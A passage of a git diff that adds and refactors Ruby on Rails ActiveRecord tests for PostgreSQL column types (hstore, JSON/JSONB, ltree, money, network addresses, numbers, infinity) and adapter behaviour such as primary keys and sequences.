+      assert_array_cycle([{'this,has' => 'many,values'}])
+    end
+
+    def test_array_strings_with_array_delimiters
+      assert_array_cycle(['{' => '}'])
+    end
+
+    def test_array_strings_with_null_strings
+      assert_array_cycle([{'NULL' => 'NULL'}])
+    end
+
+    def test_contains_nils
+      assert_array_cycle([{'NULL' => nil}])
+    end
+
+    def test_select_multikey
+      @connection.execute "insert into hstores (tags) VALUES ('1=>2,2=>3')"
+      x = Hstore.first
+      assert_equal({'1' => '2', '2' => '3'}, x.tags)
+    end
+
+    def test_create
+      assert_cycle('a' => 'b', '1' => '2')
+    end
+
+    def test_nil
+      assert_cycle('a' => nil)
+    end
+
+    def test_quotes
+      assert_cycle('a' => 'b"ar', '1"foo' => '2')
+    end
+
+    def test_whitespace
+      assert_cycle('a b' => 'b ar', '1"foo' => '2')
+    end
+
+    def test_backslash
+      assert_cycle('a\\b' => 'b\\ar', '1"foo' => '2')
+    end
+
+    def test_comma
+      assert_cycle('a, b' => 'bar', '1"foo' => '2')
+    end
+
+    def test_arrow
+      assert_cycle('a=>b' => 'bar', '1"foo' => '2')
+    end
+
+    def test_quoting_special_characters
+      assert_cycle('ca' => 'cà', 'ac' => 'àc')
+    end
+
+    def test_multiline
+      assert_cycle("a\nb" => "c\nd")
+    end
+
+    class TagCollection
+      def initialize(hash); @hash = hash end
+      def to_hash; @hash end
+      def self.load(hash); new(hash) end
+      def self.dump(object); object.to_hash end
+    end
+
+    class HstoreWithSerialize < Hstore
+      serialize :tags, TagCollection
+    end
+
+    def test_hstore_with_serialized_attributes
+      HstoreWithSerialize.create! tags: TagCollection.new({"one" => "two"})
+      record = HstoreWithSerialize.first
+      assert_instance_of TagCollection, record.tags
+      assert_equal({"one" => "two"}, record.tags.to_hash)
+      record.tags = TagCollection.new("three" => "four")
+      record.save!
+      assert_equal({"three" => "four"}, HstoreWithSerialize.first.tags.to_hash)
+    end
 
-  private
-  def assert_cycle hash
-    # test creation
-    x = Hstore.create!(:tags => hash)
-    x.reload
-    assert_equal(hash, x.tags)
-
-    # test updating
-    x = Hstore.create!(:tags => {})
-    x.tags = hash
-    x.save!
-    x.reload
-    assert_equal(hash, x.tags)
+    def test_clone_hstore_with_serialized_attributes
+      HstoreWithSerialize.create! tags: TagCollection.new({"one" => "two"})
+      record = HstoreWithSerialize.first
+      dupe = record.dup
+      assert_equal({"one" => "two"}, dupe.tags.to_hash)
+    end
+
+    def test_schema_dump_with_shorthand
+      output = dump_table_schema("hstores")
+      assert_match %r[t\.hstore "tags",\s+default: {}], output
+    end
+
+    private
+    def assert_array_cycle(array)
+      # test creation
+      x = Hstore.create!(payload: array)
+      x.reload
+      assert_equal(array, x.payload)
+
+      # test updating
+      x = Hstore.create!(payload: [])
+      x.payload = array
+      x.save!
+      x.reload
+      assert_equal(array, x.payload)
+    end
+
+    def assert_cycle(hash)
+      # test creation
+      x = Hstore.create!(:tags => hash)
+      x.reload
+      assert_equal(hash, x.tags)
+
+      # test updating
+      x = Hstore.create!(:tags => {})
+      x.tags = hash
+      x.save!
+      x.reload
+      assert_equal(hash, x.tags)
+    end
   end
 end
diff --git a/activerecord/test/cases/adapters/postgresql/infinity_test.rb b/activerecord/test/cases/adapters/postgresql/infinity_test.rb
new file mode 100644
index 0000000000..74163ac712
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/infinity_test.rb
@@ -0,0 +1,60 @@
+require "cases/helper"
+
+class PostgresqlInfinityTest < ActiveRecord::TestCase
+  include InTimeZone
+
+  class PostgresqlInfinity < ActiveRecord::Base
+  end
+
+  setup do
+    @connection = ActiveRecord::Base.connection
+    @connection.create_table(:postgresql_infinities) do |t|
+      t.float :float
+      t.datetime :datetime
+    end
+  end
+
+  teardown do
+    @connection.execute("DROP TABLE IF EXISTS postgresql_infinities")
+  end
+
+  test "type casting infinity on a float column" do
+    record = PostgresqlInfinity.create!(float: Float::INFINITY)
+    record.reload
+    assert_equal Float::INFINITY, record.float
+  end
+
+  test "update_all with infinity on a float column" do
+    record = PostgresqlInfinity.create!
+    PostgresqlInfinity.update_all(float: Float::INFINITY)
+    record.reload
+    assert_equal Float::INFINITY, record.float
+  end
+
+  test "type casting infinity on a datetime column" do
+    record = PostgresqlInfinity.create!(datetime: Float::INFINITY)
+    record.reload
+    assert_equal Float::INFINITY, record.datetime
+  end
+
+  test "update_all with infinity on a datetime column" do
+    record = PostgresqlInfinity.create!
+    PostgresqlInfinity.update_all(datetime: Float::INFINITY)
+    record.reload
+    assert_equal Float::INFINITY, record.datetime
+  end
+
+  test "assigning 'infinity' on a datetime column with TZ aware attributes" do
+    begin
+      in_time_zone "Pacific Time (US & Canada)" do
+        record = PostgresqlInfinity.create!(datetime: "infinity")
+        assert_equal Float::INFINITY, record.datetime
+        assert_equal record.datetime, record.reload.datetime
+      end
+    ensure
+      # setting time_zone_aware_attributes causes the types to change.
+      # There is no way to do this automatically since it can be set on a superclass
+      PostgresqlInfinity.reset_column_information
+    end
+  end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/integer_test.rb b/activerecord/test/cases/adapters/postgresql/integer_test.rb
new file mode 100644
index 0000000000..7f8751281e
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/integer_test.rb
@@ -0,0 +1,25 @@
+require "cases/helper"
+require "active_support/core_ext/numeric/bytes"
+
+class PostgresqlIntegerTest < ActiveRecord::TestCase
+  class PgInteger < ActiveRecord::Base
+  end
+
+  def setup
+    @connection = ActiveRecord::Base.connection
+
+    @connection.transaction do
+      @connection.create_table "pg_integers", force: true do |t|
+        t.integer :quota, limit: 8, default: 2.gigabytes
+      end
+    end
+  end
+
+  teardown do
+    @connection.execute "drop table if exists pg_integers"
+  end
+
+  test "schema properly respects bigint ranges" do
+    assert_equal 2.gigabytes, PgInteger.new.quota
+  end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/json_test.rb b/activerecord/test/cases/adapters/postgresql/json_test.rb
index adac1d3c13..3b123f979e 100644
--- a/activerecord/test/cases/adapters/postgresql/json_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/json_test.rb
@@ -1,44 +1,61 @@
-# encoding: utf-8
-
+# -*- coding: utf-8 -*-
 require "cases/helper"
-require 'active_record/base'
-require 'active_record/connection_adapters/postgresql_adapter'
+require 'support/schema_dumping_helper'
+
+module PostgresqlJSONSharedTestCases
+  include SchemaDumpingHelper
 
-class PostgresqlJSONTest < ActiveRecord::TestCase
   class JsonDataType < ActiveRecord::Base
     self.table_name = 'json_data_type'
+
+    store_accessor :settings, :resolution
   end
 
   def setup
     @connection = ActiveRecord::Base.connection
     begin
-      @connection.transaction do
-        @connection.create_table('json_data_type') do |t|
-          t.json 'payload', :default => {}
-        end
+      @connection.create_table('json_data_type') do |t|
+        t.public_send column_type, 'payload', default: {} # t.json 'payload', default: {}
+        t.public_send column_type, 'settings'             # t.json 'settings'
       end
     rescue ActiveRecord::StatementInvalid
-      return skip "do not test on PG without json"
+      skip "do not test on PostgreSQL without #{column_type} type."
     end
-    @column = JsonDataType.columns.find { |c| c.name == 'payload' }
+    @column = JsonDataType.columns_hash['payload']
   end
 
   def teardown
-    @connection.execute 'drop table if exists json_data_type'
+    @connection.drop_table :json_data_type, if_exists: true
   end
 
   def test_column
-    assert_equal :json, @column.type
+    column = JsonDataType.columns_hash["payload"]
+    assert_equal column_type, column.type
+    assert_equal column_type.to_s, column.sql_type
+    assert_not column.array?
+
+    type = JsonDataType.type_for_attribute("payload")
+    assert_not type.binary?
+  end
+
+  def test_default
+    @connection.add_column 'json_data_type', 'permissions', column_type, default: '{"users": "read", "posts": ["read", "write"]}'
+    JsonDataType.reset_column_information
+
+    assert_equal({"users"=>"read", "posts"=>["read", "write"]}, JsonDataType.column_defaults['permissions'])
+    assert_equal({"users"=>"read", "posts"=>["read", "write"]}, JsonDataType.new.permissions)
+  ensure
+    JsonDataType.reset_column_information
   end
 
   def test_change_table_supports_json
     @connection.transaction do
       @connection.change_table('json_data_type') do |t|
-        t.json 'users', default: '{}'
+        t.public_send column_type, 'users', default: '{}' # t.json 'users', default: '{}'
       end
       JsonDataType.reset_column_information
-      column = JsonDataType.columns.find { |c| c.name == 'users' }
-      assert_equal :json, column.type
+      column = JsonDataType.columns_hash['users']
+      assert_equal column_type, column.type
 
       raise ActiveRecord::Rollback # reset the schema change
     end
@@ -46,17 +63,30 @@ class PostgresqlJSONTest < ActiveRecord::TestCase
     JsonDataType.reset_column_information
   end
 
+  def test_schema_dumping
+    output = dump_table_schema("json_data_type")
+    assert_match(/t\.#{column_type.to_s}\s+"payload",\s+default: {}/, output)
+  end
+
+  def test_cast_value_on_write
+    x = JsonDataType.new payload: {"string" => "foo", :symbol => :bar}
+    assert_equal({"string" => "foo", :symbol => :bar}, x.payload_before_type_cast)
+    assert_equal({"string" => "foo", "symbol" => "bar"}, x.payload)
+    x.save
+    assert_equal({"string" => "foo", "symbol" => "bar"}, x.reload.payload)
+  end
+
   def test_type_cast_json
-    assert @column
+    type = JsonDataType.type_for_attribute("payload")
 
     data = "{\"a_key\":\"a_value\"}"
-    hash = @column.class.string_to_json data
+    hash = type.type_cast_from_database(data)
     assert_equal({'a_key' => 'a_value'}, hash)
-    assert_equal({'a_key' => 'a_value'}, @column.type_cast(data))
+    assert_equal({'a_key' => 'a_value'}, type.type_cast_from_database(data))
 
-    assert_equal({}, @column.type_cast("{}"))
-    assert_equal({'key'=>nil}, @column.type_cast('{"key": null}'))
-    assert_equal({'c'=>'}','"a"'=>'b "a b'}, @column.type_cast(%q({"c":"}", "\"a\"":"b \"a b"})))
+    assert_equal({}, type.type_cast_from_database("{}"))
+    assert_equal({'key'=>nil}, type.type_cast_from_database('{"key": null}'))
+    assert_equal({'c'=>'}','"a"'=>'b "a b'}, type.type_cast_from_database(%q({"c":"}", "\"a\"":"b \"a b"})))
   end
 
   def test_rewrite
@@ -96,4 +126,80 @@ class PostgresqlJSONTest < ActiveRecord::TestCase
     x.payload = ['v1', {'k2' => 'v2'}, 'v3']
     assert x.save!
   end
+
+  def test_with_store_accessors
+    x = JsonDataType.new(resolution: "320×480")
+    assert_equal "320×480", x.resolution
+
+    x.save!
+    x = JsonDataType.first
+    assert_equal "320×480", x.resolution
+
+    x.resolution = "640×1136"
+    x.save!
+
+    x = JsonDataType.first
+    assert_equal "640×1136", x.resolution
+  end
+
+  def test_duplication_with_store_accessors
+    x = JsonDataType.new(resolution: "320×480")
+    assert_equal "320×480", x.resolution
+
+    y = x.dup
+    assert_equal "320×480", y.resolution
+  end
+
+  def test_yaml_round_trip_with_store_accessors
+    x = JsonDataType.new(resolution: "320×480")
+    assert_equal "320×480", x.resolution
+
+    y = YAML.load(YAML.dump(x))
+    assert_equal "320×480", y.resolution
+  end
+
+  def test_changes_in_place
+    json = JsonDataType.new
+    assert_not json.changed?
+
+    json.payload = { 'one' => 'two' }
+    assert json.changed?
+    assert json.payload_changed?
+
+    json.save!
+    assert_not json.changed?
+
+    json.payload['three'] = 'four'
+    assert json.payload_changed?
+
+    json.save!
+    json.reload
+
+    assert_equal({ 'one' => 'two', 'three' => 'four' }, json.payload)
+    assert_not json.changed?
+  end
+
+  def test_assigning_invalid_json
+    json = JsonDataType.new
+
+    json.payload = 'foo'
+
+    assert_nil json.payload
+  end
+end
+
+class PostgresqlJSONTest < ActiveRecord::TestCase
+  include PostgresqlJSONSharedTestCases
+
+  def column_type
+    :json
+  end
+end
+
+class PostgresqlJSONBTest < ActiveRecord::TestCase
+  include PostgresqlJSONSharedTestCases
+
+  def column_type
+    :jsonb
+  end
 end
diff --git a/activerecord/test/cases/adapters/postgresql/ltree_test.rb b/activerecord/test/cases/adapters/postgresql/ltree_test.rb
index 5d12ca75ca..2b3823f9f1 100644
--- a/activerecord/test/cases/adapters/postgresql/ltree_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/ltree_test.rb
@@ -1,15 +1,17 @@
-# encoding: utf-8
 require "cases/helper"
-require 'active_record/base'
-require 'active_record/connection_adapters/postgresql_adapter'
+require 'support/schema_dumping_helper'
 
 class PostgresqlLtreeTest < ActiveRecord::TestCase
+  include SchemaDumpingHelper
   class Ltree < ActiveRecord::Base
     self.table_name = 'ltrees'
   end
 
   def setup
     @connection = ActiveRecord::Base.connection
+
+    enable_extension!('ltree', @connection)
+
     @connection.transaction do
       @connection.create_table('ltrees') do |t|
         t.ltree 'path'
@@ -19,13 +21,18 @@ class PostgresqlLtreeTest < ActiveRecord::TestCase
     skip "do not test on PG without ltree"
   end
 
-  def teardown
+  teardown do
     @connection.execute 'drop table if exists ltrees'
   end
 
   def test_column
     column = Ltree.columns_hash['path']
     assert_equal :ltree, column.type
+    assert_equal "ltree", column.sql_type
+    assert_not column.array?
+
+    type = Ltree.type_for_attribute('path')
+    assert_not type.binary?
   end
 
   def test_write
@@ -38,4 +45,9 @@ class PostgresqlLtreeTest < ActiveRecord::TestCase
     ltree = Ltree.first
     assert_equal '1.2.3', ltree.path
   end
+
+  def test_schema_dump_with_shorthand
+    output = dump_table_schema("ltrees")
+    assert_match %r[t\.ltree "path"], output
+  end
 end
diff --git a/activerecord/test/cases/adapters/postgresql/money_test.rb b/activerecord/test/cases/adapters/postgresql/money_test.rb
new file mode 100644
index 0000000000..ba9af4be6f
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/money_test.rb
@@ -0,0 +1,96 @@
+require "cases/helper"
+require 'support/schema_dumping_helper'
+
+class PostgresqlMoneyTest < ActiveRecord::TestCase
+  include SchemaDumpingHelper
+
+  class PostgresqlMoney < ActiveRecord::Base; end
+
+  setup do
+    @connection = ActiveRecord::Base.connection
+    @connection.execute("set lc_monetary = 'C'")
+    @connection.create_table('postgresql_moneys', force: true) do |t|
+      t.money "wealth"
+      t.money "depth", default: "150.55"
+    end
+  end
+
+  teardown do
+    @connection.execute 'DROP TABLE IF EXISTS postgresql_moneys'
+  end
+
+  def test_column
+    column = PostgresqlMoney.columns_hash["wealth"]
+    assert_equal :money, column.type
+    assert_equal "money", column.sql_type
+    assert_equal 2, column.scale
+    assert_not column.array?
+
+    type = PostgresqlMoney.type_for_attribute("wealth")
+    assert_not type.binary?
+  end
+
+  def test_default
+    assert_equal BigDecimal.new("150.55"), PostgresqlMoney.column_defaults['depth']
+    assert_equal BigDecimal.new("150.55"), PostgresqlMoney.new.depth
+  end
+
+  def test_money_values
+    @connection.execute("INSERT INTO postgresql_moneys (id, wealth) VALUES (1, '567.89'::money)")
+    @connection.execute("INSERT INTO postgresql_moneys (id, wealth) VALUES (2, '-567.89'::money)")
+
+    first_money = PostgresqlMoney.find(1)
+    second_money = PostgresqlMoney.find(2)
+    assert_equal 567.89, first_money.wealth
+    assert_equal(-567.89, second_money.wealth)
+  end
+
+  def test_money_type_cast
+    type = PostgresqlMoney.type_for_attribute('wealth')
+    assert_equal(12345678.12, type.type_cast_from_user("$12,345,678.12"))
+    assert_equal(12345678.12, type.type_cast_from_user("$12.345.678,12"))
+    assert_equal(-1.15, type.type_cast_from_user("-$1.15"))
+    assert_equal(-2.25, type.type_cast_from_user("($2.25)"))
+  end
+
+  def test_schema_dumping
+    output = dump_table_schema("postgresql_moneys")
+    assert_match %r{t\.money\s+"wealth",\s+scale: 2$}, output
+    assert_match %r{t\.money\s+"depth",\s+scale: 2,\s+default: 150\.55$}, output
+  end
+
+  def test_create_and_update_money
+    money = PostgresqlMoney.create(wealth: "987.65")
+    assert_equal 987.65, money.wealth
+
+    new_value = BigDecimal.new('123.45')
+    money.wealth = new_value
+    money.save!
+    money.reload
+    assert_equal new_value, money.wealth
+  end
+
+  def test_update_all_with_money_string
+    money = PostgresqlMoney.create!
+    PostgresqlMoney.update_all(wealth: "987.65")
+    money.reload
+
+    assert_equal 987.65, money.wealth
+  end
+
+  def test_update_all_with_money_big_decimal
+    money = PostgresqlMoney.create!
+    PostgresqlMoney.update_all(wealth: '123.45'.to_d)
+    money.reload
+
+    assert_equal 123.45, money.wealth
+  end
+
+  def test_update_all_with_money_numeric
+    money = PostgresqlMoney.create!
+    PostgresqlMoney.update_all(wealth: 123.45)
+    money.reload
+
+    assert_equal 123.45, money.wealth
+  end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/network_test.rb b/activerecord/test/cases/adapters/postgresql/network_test.rb
new file mode 100644
index 0000000000..4cd2d4d5f3
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/network_test.rb
@@ -0,0 +1,94 @@
+require "cases/helper"
+require 'support/schema_dumping_helper'
+
+class PostgresqlNetworkTest < ActiveRecord::TestCase
+  include SchemaDumpingHelper
+  class PostgresqlNetworkAddress < ActiveRecord::Base; end
+
+  setup do
+    @connection = ActiveRecord::Base.connection
+    @connection.create_table('postgresql_network_addresses', force: true) do |t|
+      t.inet 'inet_address', default: "192.168.1.1"
+      t.cidr 'cidr_address', default: "192.168.1.0/24"
+      t.macaddr 'mac_address', default: "ff:ff:ff:ff:ff:ff"
+    end
+  end
+
+  teardown do
+    @connection.execute 'DROP TABLE IF EXISTS postgresql_network_addresses'
+  end
+
+  def test_cidr_column
+    column = PostgresqlNetworkAddress.columns_hash["cidr_address"]
+    assert_equal :cidr, column.type
+    assert_equal "cidr", column.sql_type
+    assert_not column.array?
+
+    type = PostgresqlNetworkAddress.type_for_attribute("cidr_address")
+    assert_not type.binary?
+  end
+
+  def test_inet_column
+    column = PostgresqlNetworkAddress.columns_hash["inet_address"]
+    assert_equal :inet, column.type
+    assert_equal "inet", column.sql_type
+    assert_not column.array?
+
+    type = PostgresqlNetworkAddress.type_for_attribute("inet_address")
+    assert_not type.binary?
+  end
+
+  def test_macaddr_column
+    column = PostgresqlNetworkAddress.columns_hash["mac_address"]
+    assert_equal :macaddr, column.type
+    assert_equal "macaddr", column.sql_type
+    assert_not column.array?
+
+    type = PostgresqlNetworkAddress.type_for_attribute("mac_address")
+    assert_not type.binary?
+  end
+
+  def test_network_types
+    PostgresqlNetworkAddress.create(cidr_address: '192.168.0.0/24',
+                                    inet_address: '172.16.1.254/32',
+                                    mac_address: '01:23:45:67:89:0a')
+
+    address = PostgresqlNetworkAddress.first
+    assert_equal IPAddr.new('192.168.0.0/24'), address.cidr_address
+    assert_equal IPAddr.new('172.16.1.254'), address.inet_address
+    assert_equal '01:23:45:67:89:0a', address.mac_address
+
+    address.cidr_address = '10.1.2.3/32'
+    address.inet_address = '10.0.0.0/8'
+    address.mac_address = 'bc:de:f0:12:34:56'
+
+    address.save!
+    assert address.reload
+    assert_equal IPAddr.new('10.1.2.3/32'), address.cidr_address
+    assert_equal IPAddr.new('10.0.0.0/8'), address.inet_address
+    assert_equal 'bc:de:f0:12:34:56', address.mac_address
+  end
+
+  def test_invalid_network_address
+    invalid_address = PostgresqlNetworkAddress.new(cidr_address: 'invalid addr',
+                                                   inet_address: 'invalid addr')
+    assert_nil invalid_address.cidr_address
+    assert_nil invalid_address.inet_address
+    assert_equal 'invalid addr', invalid_address.cidr_address_before_type_cast
+    assert_equal 'invalid addr', invalid_address.inet_address_before_type_cast
+    assert invalid_address.save
+
+    invalid_address.reload
+    assert_nil invalid_address.cidr_address
+    assert_nil invalid_address.inet_address
+    assert_nil invalid_address.cidr_address_before_type_cast
+    assert_nil invalid_address.inet_address_before_type_cast
+  end
+
+  def test_schema_dump_with_shorthand
+    output = dump_table_schema("postgresql_network_addresses")
+    assert_match %r{t\.inet\s+"inet_address",\s+default: "192\.168\.1\.1"}, output
+    assert_match %r{t\.cidr\s+"cidr_address",\s+default: "192\.168\.1\.0/24"}, output
+    assert_match %r{t\.macaddr\s+"mac_address",\s+default: "ff:ff:ff:ff:ff:ff"}, output
+  end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/numbers_test.rb b/activerecord/test/cases/adapters/postgresql/numbers_test.rb
new file mode 100644
index 0000000000..70aa898439
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/numbers_test.rb
@@ -0,0 +1,49 @@
+require "cases/helper"
+
+class PostgresqlNumberTest < ActiveRecord::TestCase
+  class PostgresqlNumber < ActiveRecord::Base; end
+
+  setup do
+    @connection = ActiveRecord::Base.connection
+    @connection.create_table('postgresql_numbers', force: true) do |t|
+      t.column 'single', 'REAL'
+      t.column 'double', 'DOUBLE PRECISION'
+    end
+  end
+
+  teardown do
+    @connection.execute 'DROP TABLE IF EXISTS postgresql_numbers'
+  end
+
+  def test_data_type
+    assert_equal :float, PostgresqlNumber.columns_hash["single"].type
+    assert_equal :float, PostgresqlNumber.columns_hash["double"].type
+  end
+
+  def test_values
+    @connection.execute("INSERT INTO postgresql_numbers (id, single, double) VALUES (1, 123.456, 123456.789)")
+    @connection.execute("INSERT INTO postgresql_numbers (id, single, double) VALUES (2, '-Infinity', 'Infinity')")
+    @connection.execute("INSERT INTO postgresql_numbers (id, single, double) VALUES (3, 123.456, 'NaN')")
+
+    first, second, third = PostgresqlNumber.find(1, 2, 3)
+
+    assert_equal 123.456, first.single
+    assert_equal 123456.789, first.double
+    assert_equal(-::Float::INFINITY, second.single)
+    assert_equal ::Float::INFINITY, second.double
+    assert_same ::Float::NAN, third.double
+  end
+
+  def test_update
+    record = PostgresqlNumber.create! single: "123.456", double: "123456.789"
+    new_single = 789.012
+    new_double = 789012.345
+    record.single = new_single
+    record.double = new_double
+    record.save!
+
+    record.reload
+    assert_equal new_single, record.single
+    assert_equal new_double, record.double
+  end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/postgresql_adapter_test.rb b/activerecord/test/cases/adapters/postgresql/postgresql_adapter_test.rb
index 8b017760b1..564712522d 100644
--- a/activerecord/test/cases/adapters/postgresql/postgresql_adapter_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/postgresql_adapter_test.rb
@@ -1,18 +1,30 @@
-# encoding: utf-8
 require "cases/helper"
+require 'support/ddl_helper'
+require 'support/connection_helper'
 
 module ActiveRecord
   module ConnectionAdapters
     class PostgreSQLAdapterTest < ActiveRecord::TestCase
+      include DdlHelper
+      include ConnectionHelper
+
       def setup
         @connection = ActiveRecord::Base.connection
-        @connection.exec_query('drop table if exists ex')
-        @connection.exec_query('create table ex(id serial primary key, number integer, data character varying(255))')
+      end
+
+      def test_bad_connection
+        assert_raise ActiveRecord::NoDatabaseError do
+          configuration = ActiveRecord::Base.configurations['arunit'].merge(database: 'should_not_exist-cinco-dog-db')
+          connection = ActiveRecord::Base.postgresql_connection(configuration)
+          connection.exec_query('SELECT 1')
+        end
       end
 
       def test_valid_column
-        column = @connection.columns('ex').find { |col| col.name == 'id' }
-        assert @connection.valid_type?(column.type)
+        with_example_table do
+          column = @connection.columns('ex').find { |col| col.name == 'id' }
+          assert @connection.valid_type?(column.type)
+        end
       end
 
       def test_invalid_column
@@ -20,7 +32,9 @@ module ActiveRecord
       end
 
       def test_primary_key
-        assert_equal 'id', @connection.primary_key('ex')
+        with_example_table do
+          assert_equal 'id', @connection.primary_key('ex')
+        end
       end
 
       def test_primary_key_works_tables_containing_capital_letters
@@ -28,15 +42,21 @@ module ActiveRecord
       end
 
       def test_non_standard_primary_key
-        @connection.exec_query('drop table if exists ex')
-        @connection.exec_query('create table ex(data character varying(255) primary key)')
-        assert_equal 'data', @connection.primary_key('ex')
+        with_example_table 'data character varying(255) primary key' do
+          assert_equal 'data', @connection.primary_key('ex')
+        end
       end
 
       def test_primary_key_returns_nil_for_no_pk
-        @connection.exec_query('drop table if exists ex')
-        @connection.exec_query('create table ex(id integer)')
-        assert_nil @connection.primary_key('ex')
+        with_example_table 'id integer' do
+          assert_nil @connection.primary_key('ex')
+        end
+      end
+
+      def test_composite_primary_key
+        with_example_table 'id serial, number serial, PRIMARY KEY (id, number)' do
+          assert_nil @connection.primary_key('ex')
+        end
       end
 
       def test_primary_key_raises_error_if_table_not_found
@@ -46,20 +66,40 @@ module ActiveRecord
       end
 
       def test_insert_sql_with_proprietary_returning_clause
-        id = @connection.insert_sql("insert into ex (number) values(5150)", nil, "number")
-        assert_equal "5150", id
+        with_example_table do
+          id = @connection.insert_sql("insert into ex (number) values(5150)", nil, "number")
+          assert_equal "5150", id
+        end
       end
 
       def test_insert_sql_with_quoted_schema_and_table_name
-        id = @connection.insert_sql('insert into "public"."ex" (number) values(5150)')
-        expect = @connection.query('select max(id) from ex').first.first
-        assert_equal expect, id
+        with_example_table do
+          id = @connection.insert_sql('insert into "public"."ex" (number) values(5150)')
+          expect = @connection.query('select max(id) from ex').first.first
+          assert_equal expect, id
+        end
       end
 
       def test_insert_sql_with_no_space_after_table_name
-        id = @connection.insert_sql("insert into ex(number) values(5150)")
-        expect = @connection.query('select max(id) from ex').first.first
-        assert_equal expect, id
+        with_example_table do
+          id = @connection.insert_sql("insert into ex(number) values(5150)")
+          expect = @connection.query('select max(id) from ex').first.first
+          assert_equal expect, id
+        end
+      end
+
+      def test_multiline_insert_sql
+        with_example_table do
+          id = @connection.insert_sql(<<-SQL)
+          insert into ex(
+                         number)
+          values(
+                 5152
+                 )
+          SQL
+          expect = @connection.query('select max(id) from ex').first.first
+          assert_equal expect, id
+        end
       end
 
       def test_insert_sql_with_returning_disabled
@@ -99,10 +139,10 @@ module ActiveRecord
       end
 
       def test_default_sequence_name
-        assert_equal 'accounts_id_seq',
+        assert_equal 'public.accounts_id_seq',
           @connection.default_sequence_name('accounts', 'id')
 
-        assert_equal 'accounts_id_seq',
+        assert_equal 'public.accounts_id_seq',
           @connection.default_sequence_name('accounts')
       end
 
@@ -115,53 +155,104 @@ module ActiveRecord
       end
 
       def test_pk_and_sequence_for
-        pk, seq = @connection.pk_and_sequence_for('ex')
-        assert_equal 'id', pk
-        assert_equal @connection.default_sequence_name('ex', 'id'), seq
+        with_example_table do
+          pk, seq = @connection.pk_and_sequence_for('ex')
+          assert_equal 'id', pk
+          assert_equal @connection.default_sequence_name('ex', 'id'), seq.to_s
+        end
       end
 
       def test_pk_and_sequence_for_with_non_standard_primary_key
-        @connection.exec_query('drop table if exists ex')
-        @connection.exec_query('create table ex(code serial primary key)')
-        pk, seq = @connection.pk_and_sequence_for('ex')
-        assert_equal 'code', pk
-        assert_equal @connection.default_sequence_name('ex', 'code'), seq
+        with_example_table 'code serial primary key' do
+          pk, seq = @connection.pk_and_sequence_for('ex')
+          assert_equal 'code', pk
+          assert_equal @connection.default_sequence_name('ex', 'code'), seq.to_s
+        end
       end
 
       def test_pk_and_sequence_for_returns_nil_if_no_seq
-        @connection.exec_query('drop table if exists ex')
-        @connection.exec_query('create table ex(id integer primary key)')
-        assert_nil @connection.pk_and_sequence_for('ex')
+        with_example_table 'id integer primary key' do
+          assert_nil @connection.pk_and_sequence_for('ex')
+        end
       end
 
       def test_pk_and_sequence_for_returns_nil_if_no_pk
-        @connection.exec_query('drop table if exists ex')
-        @connection.exec_query('create table ex(id integer)')
-        assert_nil @connection.pk_and_sequence_for('ex')
+        with_example_table 'id integer' do
+          assert_nil @connection.pk_and_sequence_for('ex')
+        end
       end
 
       def test_pk_and_sequence_for_returns_nil_if_table_not_found
         assert_nil @connection.pk_and_sequence_for('unobtainium')
       end
 
+      def test_pk_and_sequence_for_with_collision_pg_class_oid
+        @connection.exec_query('create table ex(id serial primary key)')
+        @connection.exec_query('create table ex2(id serial primary key)')
+
+        correct_depend_record = [
+          "'pg_class'::regclass",
+          "'ex_id_seq'::regclass",
+          '0',
+          "'pg_class'::regclass",
+          "'ex'::regclass",
+          '1',
+          "'a'"
+        ]
+
+        collision_depend_record = [
+          "'pg_attrdef'::regclass",
+          "'ex2_id_seq'::regclass",
+          '0',
+          "'pg_class'::regclass",
+          "'ex'::regclass",
+          '1',
+          "'a'"
+        ]
+
+        @connection.exec_query(
+          "DELETE FROM pg_depend WHERE objid = 'ex_id_seq'::regclass AND refobjid = 'ex'::regclass AND deptype = 'a'"
+        )
+        @connection.exec_query(
+          "INSERT INTO pg_depend VALUES(#{collision_depend_record.join(',')})"
+        )
+        @connection.exec_query(
+          "INSERT INTO pg_depend VALUES(#{correct_depend_record.join(',')})"
+        )
+
+        seq = @connection.pk_and_sequence_for('ex').last
+        assert_equal PostgreSQL::Name.new("public", "ex_id_seq"), seq
+
+        @connection.exec_query(
+          "DELETE FROM pg_depend WHERE objid = 'ex2_id_seq'::regclass AND refobjid = 'ex'::regclass AND deptype = 'a'"
+        )
+      ensure
+        @connection.exec_query('DROP TABLE IF EXISTS ex')
+        @connection.exec_query('DROP TABLE IF EXISTS ex2')
+      end
+
       def test_exec_insert_number
-        insert(@connection, 'number' => 10)
+        with_example_table do
+          insert(@connection, 'number' => 10)
 
-        result = @connection.exec_query('SELECT number FROM ex WHERE number = 10')
+          result = @connection.exec_query('SELECT number FROM ex WHERE number = 10')
 
-        assert_equal 1, result.rows.length
-        assert_equal "10", result.rows.last.last
+          assert_equal 1, result.rows.length
+          assert_equal "10", result.rows.last.last
+        end
       end
 
       def test_exec_insert_string
-        str = 'いただきます！'
-        insert(@connection, 'number' => 10, 'data' => str)
+        with_example_table do
+          str = 'いただきます！'
+          insert(@connection, 'number' => 10, 'data' => str)
 
-        result = @connection.exec_query('SELECT number, data FROM ex WHERE number = 10')
+          result = @connection.exec_query('SELECT number, data FROM ex WHERE number = 10')
 
-        value = result.rows.last.last
+          value = result.rows.last.last
 
-        assert_equal str, value
+          assert_equal str, value
+        end
       end
 
       def test_table_alias_length
@@ -171,58 +262,63 @@ module ActiveRecord
       end
 
       def test_exec_no_binds
-        result = @connection.exec_query('SELECT id, data FROM ex')
-        assert_equal 0, result.rows.length
-        assert_equal 2, result.columns.length
-        assert_equal %w{ id data }, result.columns
-
-        string = @connection.quote('foo')
-        @connection.exec_query("INSERT INTO ex (id, data) VALUES (1, #{string})")
-        result = @connection.exec_query('SELECT id, data FROM ex')
-        assert_equal 1, result.rows.length
-        assert_equal 2, result.columns.length
-
